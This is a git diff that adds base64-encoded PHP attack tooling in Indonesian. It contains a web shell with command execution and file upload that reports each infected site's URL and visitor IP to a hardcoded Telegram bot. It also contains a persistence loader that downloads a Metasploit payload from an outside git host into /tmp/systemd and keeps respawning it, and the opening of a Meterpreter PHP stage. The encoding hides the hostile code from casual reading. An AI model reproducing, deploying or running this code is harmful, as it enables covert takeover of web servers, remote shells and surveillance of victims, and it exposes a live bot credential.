bHVtIGFkYQogICAgICAgICAgICBpZiAoIWlzX2RpcigkdXBsb2FkRGlyZWN0b3J5KSkgewogICAg
|
||||
ICAgICAgICAgICAgbWtkaXIoJHVwbG9hZERpcmVjdG9yeSwgMDc1NSwgdHJ1ZSk7CiAgICAgICAg
|
||||
ICAgIH0KCiAgICAgICAgICAgICRmaWxlUGF0aCA9ICR1cGxvYWREaXJlY3RvcnkgLiBiYXNlbmFt
|
||||
ZSgkZmlsZVsnbmFtZSddKTsKICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmls
|
||||
ZVsndG1wX25hbWUnXSwgJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4g
|
||||
Y2xhc3M9J291dHB1dC1zdWNjZXNzJz5GaWxlIGJlcmhhc2lsIGRpdW5nZ2FoOiAiIC4gaHRtbHNw
|
||||
ZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKSAuICI8L3NwYW4+XG4iOwogICAgICAgICAgICB9IGVs
|
||||
c2UgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGVy
|
||||
amFkaSBrZXNhbGFoYW4gc2FhdCBtZW5ndW5nZ2FoIGZpbGUhPC9zcGFuPlxuIjsKICAgICAgICAg
|
||||
ICAgfQogICAgICAgIH0KICAgICAgICA/PgogICAgICAgIDwvcHJlPgogICAgPC9kaXY+CgogICAg
|
||||
PCEtLSBJbnB1dCBGb3JtIGZvciBUZXJtaW5hbCBDb21tYW5kIC0tPgogICAgPGZvcm0gbWV0aG9k
|
||||
PSJQT1NUIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9
|
||||
ImlucHV0IiBwbGFjZWhvbGRlcj0iTWFzdWtrYW4gcGVyaW50YWggdGVybWluYWwiIHJlcXVpcmVk
|
||||
PgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+RWtzZWt1
|
||||
c2kgUGVyaW50YWg8L2J1dHRvbj4KICAgIDwvZm9ybT4KCiAgICA8YnI+CgogICAgPCEtLSBJbnB1
|
||||
dCBGb3JtIGZvciBGaWxlIFVwbG9hZCAtLT4KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlw
|
||||
ZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9
|
||||
ImZpbGUiIGNsYXNzPSJpbnB1dCIgYWNjZXB0PSIqLyoiPgogICAgICAgIDxidXR0b24gdHlwZT0i
|
||||
c3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+VW5nZ2FoIEZpbGU8L2J1dHRvbj4KICAgIDwvZm9y
|
||||
bT4KPC9kaXY+Cgo8c2NyaXB0PgogICAgLy8gRWZlayBLcmF0b20gdW50dWsgTmdlZmx5IG11cmFo
|
||||
YW4KICAgIGNvbnN0IHRpdGxlID0gIldlYiBUZXJtaW5hbCBJbnRlcmZhY2UiOwogICAgY29uc3Qg
|
||||
dHlwaW5nVGl0bGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHlwaW5nLXRpdGxlJyk7CiAg
|
||||
ICBsZXQgaW5kZXggPSAwOwoKICAgIGZ1bmN0aW9uIHR5cGUoKSB7CiAgICAgICAgaWYgKGluZGV4
|
||||
IDwgdGl0bGUubGVuZ3RoKSB7CiAgICAgICAgICAgIHR5cGluZ1RpdGxlLnRleHRDb250ZW50ICs9
|
||||
IHRpdGxlLmNoYXJBdChpbmRleCk7CiAgICAgICAgICAgIGluZGV4Kys7CiAgICAgICAgICAgIHNl
|
||||
dFRpbWVvdXQodHlwZSwgMTAwKTsgLy8gS2VjZXBhdGFuIENpbnRha3UgcGFkYW11IAogICAgICAg
|
||||
IH0KICAgIH0KICAgIHR5cGUoKTsgLy8gTXVsYWkgZWZlayBDaXUKCiAgICBjbGFzcyBNYXRyaXhS
|
||||
YWluIHsKICAgICAgICBjb25zdHJ1Y3RvcihjYW52YXMsIHdpZHRoLCBoZWlnaHQsIGNoYXJzLCBz
|
||||
cGVlZCwgb3BhY2l0eSkgewogICAgICAgICAgICB0aGlzLmNhbnZhcyA9IGNhbnZhczsKICAgICAg
|
||||
ICAgICAgdGhpcy5jdHggPSBjYW52YXMuZ2V0Q29udGV4dCgnMmQnKTsKICAgICAgICAgICAgdGhp
|
||||
cy5jaGFycyA9IGNoYXJzOwogICAgICAgICAgICB0aGlzLnNwZWVkID0gc3BlZWQ7CiAgICAgICAg
|
||||
ICAgIHRoaXMub3BhY2l0eSA9IG9wYWNpdHk7CiAgICAgICAgICAgIHRoaXMuY29sdW1ucyA9IE1h
|
||||
dGguZmxvb3Iod2lkdGggLyAyMCk7CiAgICAgICAgICAgIHRoaXMuZHJvcHMgPSBBcnJheSh0aGlz
|
||||
LmNvbHVtbnMpLmZpbGwoMSk7CiAgICAgICAgICAgIHRoaXMuaW5pdCgpOwogICAgICAgIH0KCiAg
|
||||
ICAgICAgaW5pdCgpIHsKICAgICAgICAgICAgdGhpcy5jYW52YXMud2lkdGggPSB3aW5kb3cuaW5u
|
||||
ZXJXaWR0aDsKICAgICAgICAgICAgdGhpcy5jYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVp
|
||||
Z2h0OwogICAgICAgICAgICB0aGlzLnN0YXJ0UmFpbigpOwogICAgICAgIH0KCiAgICAgICAgc3Rh
|
||||
cnRSYWluKCkgewogICAgICAgICAgICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICAgICAgICAgICAg
|
||||
ICB0aGlzLmN0eC5maWxsU3R5bGUgPSBgcmdiYSgwLCAwLCAwLCAke3RoaXMub3BhY2l0eX0pYDsK
|
||||
ICAgICAgICAgICAgICAgIHRoaXMuY3R4LmZpbGxSZWN0KDAsIDAsIHRoaXMuY2FudmFzLndpZHRo
|
||||
LCB0aGlzLmNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFN0eWxl
|
||||
ID0gJyMwRjAnOyAvLyBXYXJuYSBoaWphdSB1bnR1ayBrYXJha3RlcgogICAgICAgICAgICAgICAg
|
||||
dGhpcy5jdHguZm9udCA9ICcyMHB4IG1vbm9zcGFjZSc7CiAgICAgICAgICAgICAgICAKICAgICAg
|
||||
ICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdGhpcy5jb2x1bW5zOyBpKyspIHsKICAgICAg
|
||||
ICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gdGhpcy5jaGFyc1tNYXRoLmZsb29yKE1hdGgucmFu
|
||||
ZG9tKCkgKiB0aGlzLmNoYXJzLmxlbmd0aCldOwogICAgICAgICAgICAgICAgICAgIGNvbnN0IHgg
|
||||
PSBpICogMjA7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgeSA9IHRoaXMuZHJvcHNbaV0gKiAy
|
||||
MDsKCiAgICAgICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFRleHQodGV4dCwgeCwgeSk7CiAg
|
||||
ICAgICAgICAgICAgICAgICAgaWYgKHkgPiB0aGlzLmNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5k
|
||||
b20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRoaXMuZHJvcHNbaV0gPSAw
|
||||
OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB0aGlzLmRyb3BzW2ld
|
||||
Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sIHRoaXMuc3BlZWQpOwogICAgICAg
|
||||
IH0KICAgIH0KCiAgICAvLyBNZW5qYWxhbmthbiBNYXRyaXggUmFpbgogICAgY29uc3QgbWF0cml4
|
||||
UmFpbiA9IG5ldyBNYXRyaXhSYWluKAogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdj
|
||||
YW52YXMnKSwKICAgICAgICB3aW5kb3cuaW5uZXJXaWR0aCwKICAgICAgICB3aW5kb3cuaW5uZXJI
|
||||
ZWlnaHQsCiAgICAgICAgWwogICAgICAgICAgICAnMCcsJzEnLCcyJywnMycsJzQnLCc1JywnNics
|
||||
JzcnLCc4JywnOScsCiAgICAgICAgICAgICdhJywnYicsJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcs
|
||||
J2knLCdqJywnaycsJ2wnLCdtJywnbicsJ28nLCdwJywncScsJ3InLCdzJywndCcsJ3UnLCd2Jywn
|
||||
dycsJ3gnLCd5JywneicKICAgICAgICBdLAogICAgICAgIDUwLCAvLyBLZWNlcGF0YW4gaHVqYW4K
|
||||
ICAgICAgICAwLjA1IC8vIE9wYXNpdGFzIGxhdGFyIGJlbGFrYW5nCiAgICApOwoKPC9zY3JpcHQ+
|
||||
Cjw/cGhwCnNlc3Npb25fc3RhcnQoKTsgLy8gTWVtdWxhaSBzZXNzaW9uCgovLyBUb2tlbiBib3Qg
|
||||
ZGFuIGNoYXQgSUQKJGJvdF90b2tlbiA9ICc3NjEzMTExMDkyOkFBRmw4cWYydGx3NG9uODdlUUJ5
|
||||
akFhV3JRMnQ3ZmtxbnZrJzsgLy8gR2FudGkgZGVuZ2FuIHRva2VuIGJvdCBUZWxlZ3JhbSBrYW11
|
||||
CiRjaGF0X2lkID0gJzUzNjE0MzI0MTcnOyAvLyBHYW50aSBkZW5nYW4gY2hhdCBJRCBUZWxlZ3Jh
|
||||
bSBrYW11CgovLyBNZW5kYXBhdGthbiBVUkwgc2FhdCBpbmkKJHVybCA9IChpc3NldCgkX1NFUlZF
|
||||
UlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT09ICdvbicgPyAiaHR0cHMiIDogImh0
|
||||
dHAiKSAuICI6Ly8kX1NFUlZFUltIVFRQX0hPU1RdJF9TRVJWRVJbUkVRVUVTVF9VUkldIjsKCi8v
|
||||
IE1lbmRhcGF0a2FuIGRvbWFpbiAoaG9zdG5hbWUpIHNhamEgZGFyaSBVUkwKJGRvbWFpbiA9IHBh
|
||||
cnNlX3VybCgkdXJsLCBQSFBfVVJMX0hPU1QpOwoKLy8gTWVuZGFwYXRrYW4gYWxhbWF0IElQIHBl
|
||||
bmdha3NlcwokaXBfYWRkcmVzcyA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoKLy8gTWVuZGFw
|
||||
YXRrYW4gd2FrdHUgc2FhdCBpbmkKJGRhdGUgPSBkYXRlKCdZLW0tZCBIOmk6cycpOwoKLy8gTWVt
|
||||
ZXJpa3NhIGFwYWthaCBVUkwgYXRhdSBkb21haW4gc3VkYWggZGlraXJpbSBzZWJlbHVtbnlhCmlm
|
||||
ICghaXNzZXQoJF9TRVNTSU9OWydzZW50X3VybHMnXSkpIHsKICAgICRfU0VTU0lPTlsnc2VudF91
|
||||
cmxzJ10gPSBbXTsgLy8gSW5pc2lhbGlzYXNpIGFycmF5IGppa2EgYmVsdW0gYWRhCn0KCi8vIEpp
|
||||
a2EgVVJMIGF0YXUgZG9tYWluIGJlbHVtIHBlcm5haCBkaWtpcmltIHNlYmVsdW1ueWEsIGtpcmlt
|
||||
IHBlc2FuIGtlIGJvdCBUZWxlZ3JhbQppZiAoIWluX2FycmF5KCR1cmwsICRfU0VTU0lPTlsnc2Vu
|
||||
dF91cmxzJ10pKSB7CiAgICAvLyBNZW1idWF0IHBlc2FuIHBlcnNvbmFsCiAgICAkbWVzc2FnZSA9
|
||||
ICJIZXkgeWFuZyBNdWxpYSBUdWFuIFN5biwgSGFtYmEgbWVuZGFwYXRrYW4gc3VyYXQgY2ludGEg
|
||||
ZGFyaSAkaXBfYWRkcmVzc1xuIjsKICAgICRtZXNzYWdlIC49ICJBY3Rpdml0eSBMb2cgVXJsOiAk
|
||||
dXJsXG4iOwogICAgJG1lc3NhZ2UgLj0gIm9uIGRhdGU6ICRkYXRlIjsKCiAgICAvLyBNZW1idWF0
|
||||
IFVSTCB1bnR1ayBtZW5naXJpbSBwZXNhbiBrZSBib3QgVGVsZWdyYW0KICAgICRzZW5kX3VybCA9
|
||||
ICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JGJvdF90b2tlbi9zZW5kTWVzc2FnZSI7Cgog
|
||||
ICAgLy8gSW5pc2lhbGlzYXNpIGNVUkwKICAgICRjaCA9IGN1cmxfaW5pdCgpOwoKICAgIC8vIFBl
|
||||
bmdhdHVyYW4gY1VSTAogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHNlbmRfdXJs
|
||||
KTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgIGN1cmxfc2V0
|
||||
b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IC8vIEphbmdhbiB0YW1waWxr
|
||||
YW4gb3V0cHV0CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9i
|
||||
dWlsZF9xdWVyeShhcnJheSgKICAgICAgICAnY2hhdF9pZCcgPT4gJGNoYXRfaWQsCiAgICAgICAg
|
||||
J3RleHQnID0+ICRtZXNzYWdlLAogICAgKSkpOwoKICAgIC8vIEVrc2VrdXNpIGNVUkwgdGFucGEg
|
||||
bWVuYW1waWxrYW4gcmVzcG9uCiAgICBjdXJsX2V4ZWMoJGNoKTsKCiAgICAvLyBUdXR1cCBrb25l
|
||||
a3NpIGNVUkwKICAgIGN1cmxfY2xvc2UoJGNoKTsKCiAgICAvLyBNZW55aW1wYW4gVVJMIGtlIGRh
|
||||
bGFtIHNlc3Npb24gc2V0ZWxhaCBkaWtpcmltCiAgICAkX1NFU1NJT05bJ3NlbnRfdXJscyddW10g
|
||||
PSAkdXJsOwp9CgovLyBNZW5nYWtoaXJpIHNjcmlwdCB0YW5wYSBvdXRwdXQKZXhpdCgpOwo/Pgo8
|
||||
L2JvZHk+CjwvaHRtbD4K
|
1
raw/php/prisisten
Normal file
1
raw/php/prisisten
Normal file
@ -0,0 +1 @@
|
||||
a2lyYTE0MDY8P3BocAoKLy8gVVJMIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLnBocAokcGF5bG9hZFVybCA9ICdodHRwczovL2dpdC53YXJjZXVwcm9qZWN0Lm9yZy9zeW4vd1NwbG9pdEh1Yi9yYXcvYnJhbmNoL21haW4vcGF5bG9hZC9tc2YvcGhwL3Zlbm9tLnBocCc7ICAvLyAodGVzdGVkIHBheWxvYWQpLy8gR2FudGkgZGVuZ2FuIFVSTCB5YW5nIHNlc3VhaQoKLy8gRnVuZ3NpIHVudHVrIG1lbmphbGFua2FuIHBlcmludGFoIGRhbiBtZW1lcmlrc2EgZXhpdCBjb2RlCmZ1bmN0aW9uIHJ1bkNvbW1hbmQoKSB7CiAgICAvLyBQZXJpa3NhIGFwYWthaCBmaWxlIHN5c3RlbWQgYWRhIGRpIC90bXAKICAgIGlmICghZmlsZV9leGlzdHMoJy90bXAvc3lzdGVtZCcpKSB7CiAgICAgICAgZWNobyAiWypdIHBheWxvYWQgdGlkYWsgZGl0ZW11a2FuLiBNZW5ndW5kdWguLi5cbiI7CiAgICAgICAgZG93bmxvYWRQYXlsb2FkKCk7CiAgICB9CgogICAgLy8gUGVyaW50YWggdW50dWsgZGlqYWxhbmthbgogICAgJGNvbW1hbmQgPSAncGhwIC90bXAvc3lzdGVtZCc7IC8vIE1lbmphbGFua2FuIGZpbGUgeWFuZyBkaXVuZHVoIHNlYmFnYWkgc3lzdGVtZAogICAgZXhlYygkY29tbWFuZCwgJG91dHB1dCwgJGV4aXRDb2RlKTsKCiAgICBlY2hvICJDb21tYW5kIGV4ZWN1dGVkOiAkY29tbWFuZFxuIjsKICAgIGVjaG8gIkV4aXQgY29kZTogJGV4aXRDb2RlXG4iOwoKICAgIC8vIEhhbnlhIGphbGFuIGppa2EgZXhpdCBjb2RlIG5vbi16ZXJvCiAgICBpZiAoJGV4aXRDb2RlICE9PSAwKSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSBub24temVybyBkZXRlY3RlZCAoJGV4aXRDb2RlKS4gQ2hlY2tpbmcgYWN0aXZlIHNlc3Npb24uLi5cbiI7CgogICAgICAgIC8vIENlayBhcGFrYWggcmV2ZXJzZSBzaGVsbCBzdWRhaCBiZXJqYWxhbgogICAgICAgICRpc1NoZWxsQWN0aXZlID0gZmFsc2U7CiAgICAgICAgZXhlYygicHMgYXV4IHwgZ3JlcCAncGhwIC90bXAvc3lzdGVtZCcgfCBncmVwIC12IGdyZXAiLCAkc2hlbGxPdXRwdXQpOwogICAgICAgIGlmICghZW1wdHkoJHNoZWxsT3V0cHV0KSkgewogICAgICAgICAgICBlY2hvICJbKl0gQWN0aXZlIHNlc3Npb24gZGV0ZWN0ZWQuIFNraXBwaW5nIHBheWxvYWQgZXhlY3V0aW9uLlxuIjsKICAgICAgICAgICAgJGlzU2hlbGxBY3RpdmUgPSB0cnVlOwogICAgICAgIH0KCiAgICAgICAgLy8gSmlrYSB0aWRhayBhZGEgc2Vzc2lvbiBha3RpZiwgamFsYW5rYW4gcGF5bG9hZAogICAgICAgIGlmICghJGlzU2hlbGxBY3RpdmUpIHsKICAgICAgICAgICAgZWNobyAiWypdIE5vIGFjdGl2ZSBzZXNzaW9uIGRldGVjdGVkLiBTcGF3bmluZyBwYXlsb2FkLi4uXG4iOwogICAgICAgICAgICBleGVjKCJub2h1cCBwaHAgL3RtcC9zeXN0ZW1kID4gL2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAiWypdIEV4aXQgY29kZSB6ZXJvLiBObyBwYXlsb2FkIGV4ZWN1dGVkLlxuIjsKICAgIH0KfQoKLy8gRnVuZ3NpIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLnBocCBqaWthIHRpZGFrIGFkYQpmdW5jdGlvbiBkb3dubG9hZFBheWxvYWQoKSB7CiAgICAvLyBDZWsga2V0ZXJzZWRpYWFuIHdnZXQKICAgICR3Z2V0QXZhaWxhYmxlID0gc2hlbGxfZXhlYygnd2hpY2ggd2dldCcpOwogICAgLy8gQ2VrIGtldGVyc2VkaWFhbiBjdXJsCiAgICAkY3VybEF2YWlsYWJsZSA9IHNoZWxsX2V4ZWMoJ3doaWNoIGN1cmwnKTsKCiAgICBpZiAoIWVtcHR5KCR3Z2V0QXZhaWxhYmxlKSkgewogICAgICAgIGVjaG8gIlsqXSB3Z2V0IHRlcnNlZGlhLiBNZW5ndW5kdWggcGF5bG9hZC5waHAuLi5cbiI7CiAgICAgICAgZXhlYygid2dldCAkR0xPQkFMU1twYXlsb2FkVXJsXSAtTyAvdG1wL3N5c3RlbWQiKTsKICAgIH0gZWxzZWlmICghZW1wdHkoJGN1cmxBdmFpbGFibGUpKSB7CiAgICAgICAgZWNobyAiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCBwYXlsb2FkLnBocC4uLlxuIjsKICAgICAgICBleGVjKCJjdXJsIC1vIC90bXAvc3lzdGVtZCAkR0xPQkFMU1twYXlsb2FkVXJsXSIpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJbIV0gVGlkYWsgYWRhIHdnZXQgYXRhdSBjdXJsIHRlcnNlZGlhIHVudHVrIG1lbmd1bmR1aCBwYXlsb2FkLnBocC5cbiI7CiAgICB9Cn0KCi8vIEZ1bmdzaSB1bnR1ayBtZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZnVuY3Rpb24gcnVuUGVyc2lzdGVudGx5KCkgewogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBydW5Db21tYW5kKCk7IC8vIEphbGFua2FuIHBlcmludGFoCiAgICAgICAgc2xlZXAoMyk7IC8vIFR1bmdndSBzZWxhbWEgNjAgZGV0aWsgc2ViZWx1bSBtZW5jb2JhIGxhZ2kKICAgIH0KfQoKLy8gTXVsYWkgbWVuamFsYW5rYW4gcGVyaW50YWggc2VjYXJhIHRlcnVzIG1lbmVydXMKcnVuUGVyc2lzdGVudGx5KCk7Cgo/PgpraXJhMTQwNg==
|
613
raw/php/venom
Normal file
613
raw/php/venom
Normal file
@ -0,0 +1,613 @@
|
||||
Lyo8P3BocCAvKiovIGlmICghaXNzZXQoJEdMT0JBTFNbJ2NoYW5uZWxzJ10pKSB7ICRHTE9CQUxT
|
||||
WydjaGFubmVscyddID0gYXJyYXkoKTsgfSBpZiAoIWlzc2V0KCRHTE9CQUxTWydjaGFubmVsX3By
|
||||
b2Nlc3NfbWFwJ10pKSB7ICRHTE9CQUxTWydjaGFubmVsX3Byb2Nlc3NfbWFwJ10gPSBhcnJheSgp
|
||||
OyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ3Jlc291cmNlX3R5cGVfbWFwJ10pKSB7ICRHTE9CQUxT
|
||||
WydyZXNvdXJjZV90eXBlX21hcCddID0gYXJyYXkoKTsgfSBpZiAoIWlzc2V0KCRHTE9CQUxTWyd1
|
||||
ZHBfaG9zdF9tYXAnXSkpIHsgJEdMT0JBTFNbJ3VkcF9ob3N0X21hcCddID0gYXJyYXkoKTsgfSBp
|
||||
ZiAoIWlzc2V0KCRHTE9CQUxTWydyZWFkZXJzJ10pKSB7ICRHTE9CQUxTWydyZWFkZXJzJ10gPSBh
|
||||
cnJheSgpOyB9IGlmICghaXNzZXQoJEdMT0JBTFNbJ2lkMmYnXSkpIHsgJEdMT0JBTFNbJ2lkMmYn
|
||||
XSA9IGFycmF5KCk7IH0gZnVuY3Rpb24gcmVnaXN0ZXJfY29tbWFuZCgkYywgJGkpIHsgZ2xvYmFs
|
||||
ICRpZDJmOyBpZiAoISBpbl9hcnJheSgkaSwgJGlkMmYpKSB7ICRpZDJmWyRpXSA9ICRjOyB9IH0g
|
||||
ZGVmaW5lKCJNWV9ERUJVR0dJTkciLCBmYWxzZSk7IGRlZmluZSgiTVlfREVCVUdHSU5HX0xPR19G
|
||||
SUxFX1BBVEgiLCBmYWxzZSk7IGZ1bmN0aW9uIG15X2xvZ2ZpbGUoJHN0cikgeyBpZiAoTVlfREVC
|
||||
VUdHSU5HICYmIE1ZX0RFQlVHR0lOR19MT0dfRklMRV9QQVRIKSB7IGlmICghaXNzZXQoJEdMT0JB
|
||||
TFNbJ2xvZ2ZpbGUnXSkpIHsgJEdMT0JBTFNbJ2xvZ2ZpbGUnXSA9IGZvcGVuKE1ZX0RFQlVHR0lO
|
||||
R19MT0dfRklMRV9QQVRILCAnYScpOyBpZiAoISRHTE9CQUxTWydsb2dmaWxlJ10pIHsgbXlfcHJp
|
||||
bnQoIkZhaWxlZCB0byBvcGVuIGRlYnVnIGxvZyBmaWxlIik7IH0gfSBpZiAoJEdMT0JBTFNbJ2xv
|
||||
Z2ZpbGUnXSkgeyBmd3JpdGUoJEdMT0JBTFNbJ2xvZ2ZpbGUnXSwgIiRzdHJcbiIpOyB9IH0gfSBm
|
||||
dW5jdGlvbiBteV9wcmludCgkc3RyKSB7IGlmIChNWV9ERUJVR0dJTkcpIHsgZXJyb3JfbG9nKCRz
|
||||
dHIpOyBteV9sb2dmaWxlKCRzdHIpOyB9IH0gbXlfcHJpbnQoIkV2YWxpbmcgbWFpbiBtZXRlcnBy
|
||||
ZXRlciBzdGFnZSIpOyBmdW5jdGlvbiBkdW1wX2FycmF5KCRhcnIsICRuYW1lPW51bGwpIHsgaWYg
|
||||
KGlzX251bGwoJG5hbWUpKSB7ICRuYW1lID0gIkFycmF5IjsgfSBteV9wcmludChzcHJpbnRmKCIk
|
||||
bmFtZSAoJXMpIiwgY291bnQoJGFycikpKTsgZm9yZWFjaCAoJGFyciBhcyAka2V5ID0+ICR2YWwp
|
||||
IHsgaWYgKGlzX2FycmF5KCR2YWwpKSB7IGR1bXBfYXJyYXkoJHZhbCwgInskbmFtZX1beyRrZXl9
|
||||
XSIpOyB9IGVsc2UgeyBteV9wcmludChzcHJpbnRmKCIgJGtleSAoJHZhbCkiKSk7IH0gfSB9IGZ1
|
||||
bmN0aW9uIGR1bXBfcmVhZGVycygpIHsgZ2xvYmFsICRyZWFkZXJzOyBkdW1wX2FycmF5KCRyZWFk
|
||||
ZXJzLCAnUmVhZGVycycpOyB9IGZ1bmN0aW9uIGR1bXBfcmVzb3VyY2VfbWFwKCkgeyBnbG9iYWwg
|
||||
JHJlc291cmNlX3R5cGVfbWFwOyBkdW1wX2FycmF5KCRyZXNvdXJjZV90eXBlX21hcCwgJ1Jlc291
|
||||
cmNlIG1hcCcpOyB9IGZ1bmN0aW9uIGR1bXBfY2hhbm5lbHMoJGV4dHJhPSIiKSB7IGdsb2JhbCAk
|
||||
Y2hhbm5lbHM7IGR1bXBfYXJyYXkoJGNoYW5uZWxzLCAnQ2hhbm5lbHMgJy4kZXh0cmEpOyB9IGlm
|
||||
ICghZnVuY3Rpb25fZXhpc3RzKCJmaWxlX2dldF9jb250ZW50cyIpKSB7IGZ1bmN0aW9uIGZpbGVf
|
||||
Z2V0X2NvbnRlbnRzKCRmaWxlKSB7ICRmID0gQGZvcGVuKCRmaWxlLCJyYiIpOyAkY29udGVudHMg
|
||||
PSBmYWxzZTsgaWYgKCRmKSB7IGRvIHsgJGNvbnRlbnRzIC49IGZnZXRzKCRmKTsgfSB3aGlsZSAo
|
||||
IWZlb2YoJGYpKTsgfSBmY2xvc2UoJGYpOyByZXR1cm4gJGNvbnRlbnRzOyB9IH0gaWYgKCFmdW5j
|
||||
dGlvbl9leGlzdHMoJ3NvY2tldF9zZXRfb3B0aW9uJykpIHsgZnVuY3Rpb24gc29ja2V0X3NldF9v
|
||||
cHRpb24oJHNvY2ssICR0eXBlLCAkb3B0LCAkdmFsdWUpIHsgc29ja2V0X3NldG9wdCgkc29jaywg
|
||||
JHR5cGUsICRvcHQsICR2YWx1ZSk7IH0gfSBkZWZpbmUoIlBBWUxPQURfVVVJRCIsICJceDMwXHgw
|
||||
OFx4OTVceGQ4XHg0M1x4YzRceDNlXHhlYlx4ZmNceGE0XHhlZlx4YWJceDliXHgzMlx4NGFceDU1
|
||||
Iik7IGRlZmluZSgiU0VTU0lPTl9HVUlEIiwgIlx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBc
|
||||
eDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiKTsgZGVmaW5lKCJBRVNfMjU2X0NC
|
||||
QyIsICdhZXMtMjU2LWNiYycpOyBkZWZpbmUoIkVOQ19OT05FIiwgMCk7IGRlZmluZSgiRU5DX0FF
|
||||
UzI1NiIsIDEpOyBkZWZpbmUoIlBBQ0tFVF9UWVBFX1JFUVVFU1QiLCAwKTsgZGVmaW5lKCJQQUNL
|
||||
RVRfVFlQRV9SRVNQT05TRSIsIDEpOyBkZWZpbmUoIlBBQ0tFVF9UWVBFX1BMQUlOX1JFUVVFU1Qi
|
||||
LCAxMCk7IGRlZmluZSgiUEFDS0VUX1RZUEVfUExBSU5fUkVTUE9OU0UiLCAxMSk7IGRlZmluZSgi
|
||||
RVJST1JfU1VDQ0VTUyIsIDApOyBkZWZpbmUoIkVSUk9SX0ZBSUxVUkUiLCAxKTsgZGVmaW5lKCJD
|
||||
SEFOTkVMX0NMQVNTX0JVRkZFUkVEIiwgMCk7IGRlZmluZSgiQ0hBTk5FTF9DTEFTU19TVFJFQU0i
|
||||
LCAxKTsgZGVmaW5lKCJDSEFOTkVMX0NMQVNTX0RBVEFHUkFNIiwgMik7IGRlZmluZSgiQ0hBTk5F
|
||||
TF9DTEFTU19QT09MIiwgMyk7IGRlZmluZSgiV0lOX0FGX0lORVQiLCAyKTsgZGVmaW5lKCJXSU5f
|
||||
QUZfSU5FVDYiLCAyMyk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9OT05FIiwgKCAwICkpOyBkZWZp
|
||||
bmUoIlRMVl9NRVRBX1RZUEVfU1RSSU5HIiwgKDEgPDwgMTYpKTsgZGVmaW5lKCJUTFZfTUVUQV9U
|
||||
WVBFX1VJTlQiLCAoMSA8PCAxNykpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfUkFXIiwgKDEgPDwg
|
||||
MTgpKTsgZGVmaW5lKCJUTFZfTUVUQV9UWVBFX0JPT0wiLCAoMSA8PCAxOSkpOyBkZWZpbmUoIlRM
|
||||
Vl9NRVRBX1RZUEVfUVdPUkQiLCAoMSA8PCAyMCkpOyBkZWZpbmUoIlRMVl9NRVRBX1RZUEVfQ09N
|
||||
UFJFU1NFRCIsICgxIDw8IDI5KSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9HUk9VUCIsICgxIDw8
|
||||
IDMwKSk7IGRlZmluZSgiVExWX01FVEFfVFlQRV9DT01QTEVYIiwgKDEgPDwgMzEpKTsgZGVmaW5l
|
||||
KCJUTFZfTUVUQV9UWVBFX01BU0siLCAoMTw8MzEpKygxPDwzMCkrKDE8PDI5KSsoMTw8MTkpKygx
|
||||
PDwxOCkrKDE8PDE3KSsoMTw8MTYpKTsgZGVmaW5lKCJUTFZfUkVTRVJWRUQiLCAwKTsgZGVmaW5l
|
||||
KCJUTFZfRVhURU5TSU9OUyIsIDIwMDAwKTsgZGVmaW5lKCJUTFZfVVNFUiIsIDQwMDAwKTsgZGVm
|
||||
aW5lKCJUTFZfVEVNUCIsIDYwMDAwKTsgZGVmaW5lKCJUTFZfVFlQRV9BTlkiLCBUTFZfTUVUQV9U
|
||||
